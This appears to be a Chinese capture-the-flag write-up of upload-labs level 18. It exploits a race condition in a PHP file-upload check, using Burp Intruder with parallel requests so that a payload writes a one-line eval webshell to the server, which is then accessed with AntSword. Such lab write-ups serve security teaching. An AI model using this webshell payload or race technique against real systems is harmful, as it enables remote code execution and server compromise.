upload-labs靶场-第十八关 条件竞争 上传校验 – 作者:知非知非知非

先上传一张冰冰的靓照！！！

URL地址：http://localhost/upload-labs/upload/1320210721111205.jpg

查看提示：

这个我并不擅长！！！！

查看源代码！！！！

$is_upload = false; $msg = null; if(isset($_POST[‘submit’])){    $ext_arr = array(‘jpg’,’png’,’gif’);    $file_name = $_FILES[‘upload_file’][‘name’];    $temp_file = $_FILES[‘upload_file’][‘tmp_name’];    $file_ext = substr($file_name,strrpos($file_name,”.”)+1);    $upload_file = UPLOAD_PATH . ‘/’ . $file_name;    if(move_uploaded_file($temp_file, $upload_file)){        if(in_array($file_ext,$ext_arr)){             $img_path = UPLOAD_PATH . ‘/’. rand(10, 99).date(“YmdHis”).”.”.$file_ext;             rename($upload_file, $img_path);             $is_upload = true;        }else{            $msg = “只允许上传.jpg|.png|.gif类型文件！”;            unlink($upload_file);        }    }else{        $msg = ‘上传出错！’;    } }

看了大佬的WP，我发现我做过这题！！！

这是一个条件竞争：

if(move_uploaded_file($temp_file, $upload_file))

unlink($upload_file);

代码执行逻辑：先移动，后检测，不符合再删除，符合则改名字。

分析：可以用 burp 一直发包，让 php 程序一直处于移动 php 文件到 upload目录。这个阶段

我们使用多线程并发的访问上传的文件，总会有一次在上传文件到删除文件这个时间段内访问到上传的php文件，一旦我们成功访问到了上传的文件，那么它就会向服务器写一个shell。

我们制作一个特殊的php文件：pass18.php

<?PHP echo md5(1);fputs(fopen(‘shell.php’,’w’),'<?php @eval($_POST[cmd])?>’);?>

这个文件会在上传目录里上传一个shell.php的文件，文件内容为一句话木马，应用条件竞争来批量提交它，然后我们在在服务器没删除他之前访问到，就会执行语句，写入一句话木马写到同级目录下的shell.php里。

这题的BURP里需要设置的内容，还挺多！！！

首先上传pass18.php文件，然后BURP截断，发送到INTRUDER模块！！！

把所有变量清除！！！

在BURP INTRUDER PAYLOADS模块中！PAYLOAD TYPE中设置为NO PAYLOADS，这样可以实现重复发送同一个包！！！

下方PAYLOAD选项中，设置为100000。

然后，请求的线程数修改为100

然后我们在设置访问需要上传的文件，即不断访问且快速的访问上传的文件pass18.php，使其包含的文件创建和写入代码生效，生成shell.php文件。

即这个链接;

localhost/upload-labs/upload/pass18.php

我们先访问这个链接，并使用BURP截断，并传入INTRUDER模块！！！

这里针对这个报文的设置方法与上文的方法一致。

然后，两个报文同时开启开始攻击功能。

可见，访问上传链接，部分回显是200，证明已上传成功！！！

我们查看对应的目录！！！已成功上传！！！

文件内容为标准写入的一句话马

可以采用蚁剑进行正常链接！！！！

来源：freebuf.com 2021-07-24 08:54:14 by: 知非知非知非